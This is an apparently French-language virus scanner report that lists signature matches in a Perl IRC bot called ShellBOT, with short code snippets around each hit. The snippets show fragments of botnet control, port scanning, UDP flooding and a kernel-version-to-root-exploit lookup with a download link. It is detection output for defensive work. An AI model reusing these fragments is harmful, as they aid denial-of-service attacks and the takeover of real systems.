Trouvé en position **3669** du fichier; voici le contexte :

```
next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **3686** du fichier; voici le contexte :

```
@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
```

```
        $sel_cliente->
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **3847** du fichier; voici le contexte :

```
if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);

    for(my $c=0; $c<= $#lines; $c++) {
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **mIRC**
Trouvé en position **4793** du fichier; voici le contexte :

```
$4; my $args = $5;
      if ($args =~ /^\001VERSION\001$/) {
        notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
      }
      elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **5745** du fichier; voici le contexte :

```
(.+?)\s+NICK\s+\:(\S+)/i) {
      if (lc($1) eq lc($meunick)) {
        $meunick=$4;
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**

Trouvé en position **5762** du fichier; voici le contexte :

```
(\S+)/i) {
      if (lc($1) eq lc($meunick)) {
        $meunick=$4;
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
      $meunick = ge
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **5996** du fichier; voici le contexte :

```
meunick");
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
      $meunick = $2;
      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **6013** du fichier; voici le contexte :

```
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $cana
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **6054** du fichier; voici le contexte :

```
+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $can
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **6071** du fichier; voici le contexte :

```
$meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
       }
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **7069** du fichier; voici le contexte :

```
close;
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abert
             } else {
                 sendraw($IRC
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **7180** du fichier; voici le contexte :

```
"PRIVMSG $printl :Portas abertas: @aberta");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta
             }
          }
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **7405** du fichier; voici le contexte :

```
carg =~ /^download\s+(.*)\s+(.*)/) {
           # getstore("$1", "$2");
           # sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conc
           # }

           elsif ($funcarg
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **8060** du fichier; voici le contexte :

```
push (@abertas, $porta);
                 $scansock->close;
                 sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta
               }
             }
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **8219** du fichier; voici le contexte :

```
ame");
               }
             }
             if (@abertas) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abert
             } else {
               sendraw($IRC_
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **8329** du fichier; voici le contexte :

```
, "PRIVMSG $printl :Portas abertas: @abertas");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta fo
             }
           }
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **8773** du fichier; voici le contexte :

```
_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotando\002: $1 \
              my $pacote;
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**

Trouvé en position **9333** du fichier; voici le contexte :

```
pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
             }
              #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\
              #sendraw($IRC_cur_socket
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **9433** du fichier; voici le contexte :

```
cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
              #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\
              sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **9531** du fichier; voici le contexte :

```
C_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotado\002: $1 \
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **9756** du fichier; voici le contexte :

```
elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002aviso\002: \@udpfai
             exit;
             re
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **10061** du fichier; voici le contexte :

```
faixaip="$1";
             my $porta = "$2";
             my $tempo = "$3";
            sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Pacotando\002: $1 \0
             my $pacote;
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **10883** du fichier; voici le contexte :

```
$faixa = 1;
                }
              }
             }
              #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\
              #sendraw($IRC_cur_socket
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **cur_socket**
Trouvé en position **10983** du fichier; voici le contexte :

```
cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
              #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\
              sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **11081** du fichier; voici le contexte :

```
C_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002faixa\002: $1"."1-
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **11461** du fichier; voici le contexte :

```
+)/) {
              my $host = "$1";
              my $porta = "$2";
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\00
              my $proto = getprotobyn
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **12727** du fichier; voici le contexte :

```
= $2 * $pacotes{udp};
            $bytes{tcp} = $2 * $pacotes{tcp};
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\
              sendraw($IRC_cur_socket, "PRIVMSG $
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **12815** du fichier; voici le contexte :

```
endraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"
              sendraw($IRC_cur_socket, "PRIVMSG $
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **12903** du fichier; voici le contexte :

```
endraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002:
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **13054** du fichier; voici le contexte :

```
: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: "
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **13195** du fichier; voici le contexte :

```
ytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **13477** du fichier; voici le contexte :

```
/^xpl\s+(.*)/) {
           my $kernel = "$1";
           if ($kernel =~ /2.4.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **13634** du fichier; voici le contexte :

```
: newlocal, kmod, uselib24"); goto downloads; }
           if ($kernel =~ /2.4.18/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **13792** du fichier; voici le contexte :

```
newlocal, kmod, brk, brk2"); goto downloads; }
           if ($kernel =~ /2.4.19/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **13956** du fichier; voici le contexte :

```
newlocal, w00t, brkm brk2"); goto downloads; }
           if ($kernel =~ /2.4.20/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**

Trouvé en position **14148** du fichier; voici le contexte :

```
ce, ptrace-kmod, brk, brk2"); goto downloads; }
           if ($kernel =~ /2.4.21/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **14329** du fichier; voici le contexte :

```
ace-kmod, uselib24, elflbl"); goto downloads; }
           if ($kernel =~ /2.4.22/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **14530** du fichier; voici le contexte :

```
elflbl, mremap_pte, loginx"); goto downloads; }
           if ($kernel =~ /2.4.23/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **14691** du fichier; voici le contexte :

```
elib24, elflbl, mremap_pte"); goto downloads; }
           if ($kernel =~ /2.4.24/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **14852** du fichier; voici le contexte :

```
elib24, elflbl, mremap_pte"); goto downloads; }
           if ($kernel =~ /2.4.25/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
           i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15001** du fichier; voici le contexte :

```
tab with: uselib24, elflbl"); goto downloads; }
           if ($kernel =~ /2.4.26/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
           i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15150** du fichier; voici le contexte :

```
tab with: uselib24, elflbl"); goto downloads; }
           if ($kernel =~ /2.4.27/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
           i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15299** du fichier; voici le contexte :

```
tab with: uselib24, elflbl"); goto downloads; }
           if ($kernel =~ /2.4.28/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
           i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15447** du fichier; voici le contexte :

```
otab with: uselib24, elflbl"); goto downloads; }
           if ($kernel =~ /2.6.0/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **15514** du fichier; voici le contexte :

```
ernel =~ /2.6.0/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel r
           if ($kernel =~ /2.6.2/) { sendraw($IRC_cur_socket, "PRIVMSG $print
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15596** du fichier; voici le contexte :

```
tab with: wuftpd, h00lyshit"); goto downloads; }
```

```
          if ($kernel =~ /2.6.2/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **15673** du fichier; voici le contexte :

```
2.6.2/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with
          if ($kernel =~ /2.6.5/) { sendraw($IRC_cur_socket, "PRIVMSG $print
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15755** du fichier; voici le contexte :

```
mremap_pte, krad, h00lyshit"); goto downloads; }
          if ($kernel =~ /2.6.5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **15827** du fichier; voici le contexte :

```
=~ /2.6.5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab
          if ($kernel =~ /2.6.6/) { sendraw($IRC_cur_socket, "PRIVMSG $print
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **15909** du fichier; voici le contexte :

```
ith: krad, krad2, h00lyshit"); goto downloads; }
          if ($kernel =~ /2.6.6/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **15981** du fichier; voici le contexte :

```
=~ /2.6.6/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab
          if ($kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $print
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **cur_socket**
Trouvé en position **16063** du fichier; voici le contexte :

```
ith: krad, krad2, h00lyshit"); goto downloads; }
          if ($kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
          i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **16129** du fichier; voici le contexte :

```
kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel
          if ($kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $print
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **16211** du fichier; voici le contexte :

```
otab with: krad2, h00lyshit"); goto downloads; }
```

```
            if ($kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
            i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **16277** du fichier; voici le contexte :

```
kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel
            if ($kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $print
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **16359** du fichier; voici le contexte :

```
otab with: krad2, h00lyshit"); goto downloads; }
            if ($kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **16425** du fichier; voici le contexte :

```
kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel
            if ($kernel =~ /2.6.10/) { sendraw($IRC_cur_socket, "PRIVMSG
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **16514** du fichier; voici le contexte :

```
th: krad2, h00lyshit, r00t"); goto downloads; }
            if ($kernel =~ /2.6.10/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
            i
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **16580** du fichier; voici le contexte :

```
ernel =~ /2.6.10/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel
            if ($kernel =~ /2.6.11/) { sendraw($IRC_cur_socket, "PRIVMSG $prin
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **16663** du fichier; voici le contexte :

```
tab with: krad2, h00lyshit"); goto downloads; }
            if ($kernel =~ /2.6.11/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **16722** du fichier; voici le contexte :

```
if ($kernel =~ /2.6.11/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $k
            if ($kernel =~ /2.6.12/) { sendraw($IRC_cur_socket, "PRIVM
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **16813** du fichier; voici le contexte :

```
ab with: h00lyshit, k-rad3"); goto downloads; }
```

```
            if ($kernel =~ /2.6.12/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
            if ($ker
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **16872** du fichier; voici le contexte :

```
if ($kernel =~ /2.6.12/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $k
            if ($kernel =~ /2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $prin
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **16955** du fichier; voici le contexte :

```
nel rootab with: h00lyshit"); goto downloads; }
            if ($kernel =~ /2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **17031** du fichier; voici le contexte :

```
2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab wit
            if ($kernel =~ /2.6.14/) { sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **17129** du fichier; voici le contexte :

```
, h00lyshit, solpot, prctl"); goto downloads; }
            if ($kernel =~ /2.6.14/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **17205** du fichier; voici le contexte :

```
2.6.14/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab wit
            if ($kernel =~ /2.6.15/) { sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **17303** du fichier; voici le contexte :

```
, h00lyshit, solpot, prctl"); goto downloads; }
            if ($kernel =~ /2.6.15/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **17379** du fichier; voici le contexte :

```
2.6.15/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab wit
            if ($kernel =~ /2.6.16/) { sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **17477** du fichier; voici le contexte :

```
, h00lyshit, solpot, prctl"); goto downloads; }
```

```
            if ($kernel =~ /2.6.16/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **17553** du fichier; voici le contexte :

```
2.6.16/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab wit
            if ($kernel =~ /2.6.17/) { sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **17651** du fichier; voici le contexte :

```
, h00lyshit, solpot, prctl"); goto downloads; }
            if ($kernel =~ /2.6.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **h00lyshit**
Trouvé en position **17727** du fichier; voici le contexte :

```
2.6.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab wit
            sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **17798** du fichier; voici le contexte :

```
ootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
            sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab wit
            exit;
            downloa
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **17937** du fichier; voici le contexte :

```
kernel rootab with: nothing =)");
            exit;
            downloads:
            sendraw($IRC_cur_socket, "PRIVMSG $printl : downloads:  12 http://dvl.
            }
            elsif ($funcar
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **18904** du fichier; voici le contexte :

```
$memory ="Not found";
            $swap ="Not Found";
            }
            sendraw($IRC_cur_socket, "PRIVMSG $printl :  15---  3[ 01 SysInfo  3]
            sendraw($IRC_cur_sock
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **cur_socket**
Trouvé en position **19006** du fichier; voici le contexte :

```
r_socket, "PRIVMSG $printl :  15---  3[ 01 SysInfo  3]  15-------------");
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  01os/host 15 ; 01 $sysos
           sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **19104** du fichier; voici le contexte :

```
C_cur_socket, "PRIVMSG $printl :  01os/host 15 ; 01 $sysos - $sysname ");
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  01proc/PID 15 ; 01 $proce
           sendraw($IRC_cur_socket, "PR
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **19199** du fichier; voici le contexte :

```
$IRC_cur_socket, "PRIVMSG $printl :  01proc/PID 15 ; 01 $processo - $$");
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  01uptime 15 ; 01 $uptime"
           sendraw($IRC_cur_socket, "PRIVMSG $pr
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **19285** du fichier; voici le contexte :

```
sendraw($IRC_cur_socket, "PRIVMSG $printl :  01uptime 15 ; 01 $uptime");
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  01memory/swap 15 ; 01 $me
           sendraw($IRC_cur_socket,
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **19384** du fichier; voici le contexte :

```
_cur_socket, "PRIVMSG $printl :  01memory/swap 15 ; 01 $memory - $swap");
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  01perl/bot 15 ; 01 $] - $
           sendraw($IRC_cur_socket, "PRIV
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **19477** du fichier; voici le contexte :

```
w($IRC_cur_socket, "PRIVMSG $printl :  01perl/bot 15 ; 01 $] - $VERSAO");
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  15---  3[ 01 /SysInfo  3]
           }
           elsif($
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **19666** du fichier; voici le contexte :

```
}
           elsif($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
           sendraw($IRC_cur_socket, "PRIVMSG $printl :  01Enviando e-mail para:
           $subject = $1;
           $sender =
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **20262** du fichier; voici le contexte :

```
n";
           print SENDMAIL "@corpo\n\n";
           close (SENDMAIL);
           sendraw($IRC_cur_socket, "PRIVMSG $printl : 01email enviado para: $re
           }
           exit;
    }
  }
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **23784** du fichier; voici le contexte :

```
reach my $linha (@resp) {
            $c++;
            chop $linha;
            sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
            if ($c >= "$linas_max") {
              $c=0;
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **pacotadorzinhu**
Trouvé en position **23996** du fichier; voici le contexte :

```
sleep $sleep;
            }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **30136** du fichier; voici le contexte :

```
return(0);
```

```
  }

  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = s
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **30156** du fichier; voici le contexte :

```
my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = stat($arquivo);
  m
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **ShellBOT**
Trouvé en position **23** du fichier; voici le contexte :

```
#!/usr/bin/perl
#
#  ShellBOT by: iPS
#       Greetz: Puna, Kelserific
#
# Comandos:
#           @oldpack <ip> <bytes> <tempo
```

